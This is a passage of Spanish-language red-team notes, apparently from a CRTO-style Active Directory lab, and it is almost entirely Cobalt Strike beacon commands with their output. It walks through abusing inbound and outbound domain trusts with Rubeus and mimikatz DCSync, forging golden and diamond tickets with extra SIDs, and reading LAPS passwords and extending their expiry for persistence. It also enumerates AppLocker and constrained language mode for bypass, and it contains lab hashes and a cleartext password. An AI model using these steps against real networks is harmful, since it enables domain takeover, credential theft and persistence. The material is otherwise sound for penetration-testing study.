CN=S-1-5-21-569305411-121244042-2357301523-1120,CN=ForeignSecurityPrincipals,DC=dev-studio,DC=com beacon> powershell ConvertFrom-SID S-1-5-21-569305411-121244042-2357301523-1120 //traducir el SID en grupo DEV\Studio Admins ``` Buscar un miembro del grupo ``` beacon> powershell Get-DomainGroupMember -Identity "Studio Admins" | select MemberName MemberName ---------- nlamb ``` Solicita el TGT (inter realm key) del usuario target ``` beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe asktgt /user:nlamb /domain:dev.cyberbotic.io /aes256:a779fa8afa28d66d155d9d7c14d394359c5d29a86b6417cb94269e2e84c4cee4 /nowrap ``` Usa el TGT para pedir un inter-realm ticket en el dominio target ``` beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe asktgs /service:krbtgt/dev-studio.com /domain:dev.cyberbotic.io /dc:dc-2.dev.cyberbotic.io /ticket:doIFwj[...]MuaW8= /nowrap ``` Usa el inter-realm Ticket para pedir el TGT en el dominio target ``` beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe asktgs /service:cifs/dc.dev-studio.com /domain:dev-studio.com /dc:dc.dev-studio.com /ticket:doIFoz[...]NPTQ== /nowrap //acá pide para CIFS ``` #### Outbound Trust En este caso DEV -> trust -> CYBER ``` beacon> powershell Get-DomainTrust -Domain cyberbotic.io SourceName : cyberbotic.io TargetName : msp.org TrustType : WINDOWS_ACTIVE_DIRECTORY TrustAttributes : FILTER_SIDS TrustDirection : Outbound ``` Busca objetos de confianza en cyberbotic ``` beacon> execute-assembly C:\Tools\ADSearch\ADSearch\bin\Release\ADSearch.exe --search "(objectCategory=trustedDomain)" --domain cyberbotic.io --attributes distinguishedName,name,flatName,trustDirection ``` Opciones: 1. Dumpear la memoria desde el DC ``` beacon> mimikatz lsadump::trust /patch ``` 2. Usar Dsync (seleccionar la pass que dice Out) * Buscar el GUID del objeto de confianza ``` beacon> powershell Get-DomainObject -Identity "CN=msp.org,CN=System,DC=cyberbotic,DC=io" | select objectGuid ``` * Realizar Dsync ``` beacon> mimikatz @lsadump::dcsync /domain:cyberbotic.io /guid:{b93d2e36-48df-46bf-89d5-2fc22c139b43} ``` * Buscar la cuenta asociada (trusted account del trusted object) ``` beacon> execute-assembly C:\Tools\ADSearch\ADSearch\bin\Release\ADSearch.exe --search "(objectCategory=user)" ``` * Usar la cuenta asociada para solicitar el TGT ``` beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe asktgt /user:CYBER$ /domain:msp.org /rc4:f3fc2312d9d1f80b78e67d55d41ad496 /nowrap beacon> steal_token 1164 //con el PID correspondiente beacon> powershell Get-Domain -Domain msp.org //ya se puede acceder al dominio ``` #### Golden Ticket en Dominio de confianza 1. Buscar el SID del grupo objetivo en el dominio padre ``` beacon> powershell Get-DomainGroup -Identity "Domain Admins" -Domain cyberbotic.io -Properties ObjectSid objectsid --------- S-1-5-21-2594061375-675613155-814674916-512 beacon> powershell Get-DomainController -Domain cyberbotic.io | select Name Name ---- dc-1.cyberbotic.io ``` 2. Buscar un usuario objetivo ``` beacon> powershell Get-DomainGroupMember -Identity "Domain Admins" -Domain cyberbotic.io | select MemberName MemberName ---------- nglover ``` 3. Crear el ticket con Rubeus ``` PS C:\Users\Attacker> C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe golden /aes256:51d7f328ade26e9f785fd7eee191265ebc87c01a4790a7f38fb52e06563d4e7e /user:Administrator /domain:dev.cyberbotic.io /sid:S-1-5-21-569305411-121244042-2357301523 /sids:S-1-5-21-2594061375-675613155-814674916-512 /nowrap [*] Action: Build TGT [*] Building PAC [*] Domain : DEV.CYBERBOTIC.IO (DEV) [*] SID : S-1-5-21-569305411-121244042-2357301523 [*] UserId : 500 [*] Groups : 520,512,513,519,518 [*] ExtraSIDs : S-1-5-21-2594061375-675613155-814674916-512 [*] ServiceKey : 51D7F328ADE26E9F785FD7EEE191265EBC87C01A4790A7F38FB52E06563D4E7E [*] ServiceKeyType : KERB_CHECKSUM_HMAC_SHA1_96_AES256 [*] KDCKey : 51D7F328ADE26E9F785FD7EEE191265EBC87C01A4790A7F38FB52E06563D4E7E [*] KDCKeyType : KERB_CHECKSUM_HMAC_SHA1_96_AES256 [*] Service : krbtgt [*] Target : dev.cyberbotic.io [*] Generating EncTicketPart [*] Signing PAC [*] Encrypting EncTicketPart [*] Generating Ticket [*] Generated KERB-CRED [*] Forged a TGT for 'Administrator@dev.cyberbotic.io' [*] AuthTime : 9/12/2022 10:44:21 AM [*] StartTime : 9/12/2022 10:44:21 AM [*] EndTime : 9/12/2022 8:44:21 PM [*] RenewTill : 9/19/2022 10:44:21 AM [*] base64(ticket.kirbi): doIFmD[...]MuaW8= ``` 4. Importarlo a una sesión y usarlo para acceder al DC padre ``` beacon> run klist Current LogonId is 0:0x3a6665 Cached Tickets: (1) #0> Client: Administrator @ DEV.CYBERBOTIC.IO Server: krbtgt/dev.cyberbotic.io @ DEV.CYBERBOTIC.IO KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96 ``` #### Diamond Ticket Mismo procedimiento: ``` beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe diamond /tgtdeleg /ticketuser:Administrator /ticketuserid:500 /groups:519 /sids:S-1-5-21-2594061375-675613155-814674916-519 /krbkey:51d7f328ade26e9f785fd7eee191265ebc87c01a4790a7f38fb52e06563d4e7e /nowrap [*] Action: Diamond Ticket [*] No target SPN specified, attempting to build 'cifs/dc.domain.com' [*] Initializing Kerberos GSS-API w/ fake delegation for target 'cifs/dc-2.dev.cyberbotic.io' [+] Kerberos GSS-API initialization success! [+] Delegation requset success! AP-REQ delegation ticket is now in GSS-API output. [*] Found the AP-REQ delegation ticket in the GSS-API output. [*] Authenticator etype: aes256_cts_hmac_sha1 [*] Extracted the service ticket session key from the ti ``` ### LAPS 1. Determinar uso de laps ``` beacon> ls C:\Program Files\LAPS\CSE //si existe el archivo AdmPwd.dll en esta ruta beacon> powershell Get-DomainGPO | ? { $_.DisplayName -like "*laps*" } | select DisplayName, Name, GPCFileSysPath | fl //si hay una GPO con el nombre LAPS beacon> powershell Get-DomainComputer | ? { $_."ms-Mcs-AdmPwdExpirationTime" -ne $null } | select dnsHostName //si el valor de ms-Mcs-AdmPwdExpirationTime no es nulo ``` 2. Al hallar la GPO * Descargarla ``` beacon> ls \\dev.cyberbotic.io\SysVol\dev.cyberbotic.io\Policies\{2BE4337D-D231-4D23-A029-7B999885E659}\Machine beacon> download \\dev.cyberbotic.io\SysVol\dev.cyberbotic.io\Policies\{2BE4337D-D231-4D23-A029-7B999885E659}\Machine\Registry.pol ``` * Parsearla ``` PS C:\Users\Attacker> Parse-PolFile .\Desktop\Registry.pol ``` 3. Hallar quién puede leer las pass de LAPS ``` beacon> powershell Get-DomainComputer | Get-DomainObjectAcl -ResolveGUIDs | ? { $_.ObjectAceType -eq "ms-Mcs-AdmPwd" -and $_.ActiveDirectoryRights -match "ReadProperty" } | select ObjectDn, SecurityIdentifier //dara el SID beacon> powershell ConvertFrom-SID S-1-5-21-569305411-121244042-2357301523-1107 DEV\Developers //traducir el sid a grupo ``` 4. Enumerar OU y grupos que tengan acceso de lectura ``` beacon> powershell-import C:\Tools\LAPSToolkit\LAPSToolkit.ps1 beacon> powershell Find-LAPSDelegatedGroups Find-AdmPwdExtendedRights: enumera todos los equipos y busca cualquier usuario con 'all extended rights' ``` 5. Para leer la pass y usarla ``` beacon> powershell Get-DomainComputer -Identity wkstn-1 -Properties ms-Mcs-AdmPwd beacon> make_token .\LapsAdmin 1N3FyjJR5L18za ``` #### Duración de la pass de LAPS 1. Listar la duración de la pass (devuelve epoch ldap) ``` beacon> powershell Get-DomainComputer -Identity wkstn-1 -Properties ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime ``` 2. Modificar la duración de la pass como persistencia (ej:10años) ``` beacon> powershell Set-DomainObject -Identity wkstn-1 -Set @{'ms-Mcs-AdmPwdExpirationTime' = '136257686710000000'} -Verbose Setting 'ms-Mcs-AdmPwdExpirationTime' to '136257686710000000' for object 'WKSTN-1$' //debe ser SYSTEM ``` ### Whitelist de Aplicaciones 1. Revisar si está habilitado AppLocker por GPO, la descarga y parsea ``` beacon> powershell Get-DomainGPO -Domain dev-studio.com | ? { $_.DisplayName -like "*AppLocker*" } | select displayname, gpcfilesyspath displayname gpcfilesyspath AppLocker \\dev-studio.com\SysVol\dev-studio.com\Policies\{7E1E1636-1A59-4C35-895B-3AEB1CA8CFC2} beacon> download \\dev-studio.com\SysVol\dev-studio.com\Policies\{7E1E1636-1A59-4C35-895B-3AEB1CA8CFC2}\Machine\Registry.pol PS C:\Users\Administrator> Get-ChildItem "HKLM:Software\Policies\Microsoft\Windows\SrpV2" //en la máquina localmente PS C:\Users\Administrator> $ExecutionContext.SessionState.LanguageMode //si está o no en constrained mode ``` ``` beacon> powershell Get-Acl C:\Windows\Tasks | fl //hallar writable paths ``` ``` beacon> powerpick $ExecutionContext.SessionState.LanguageMode FullLanguage //salir de CM ```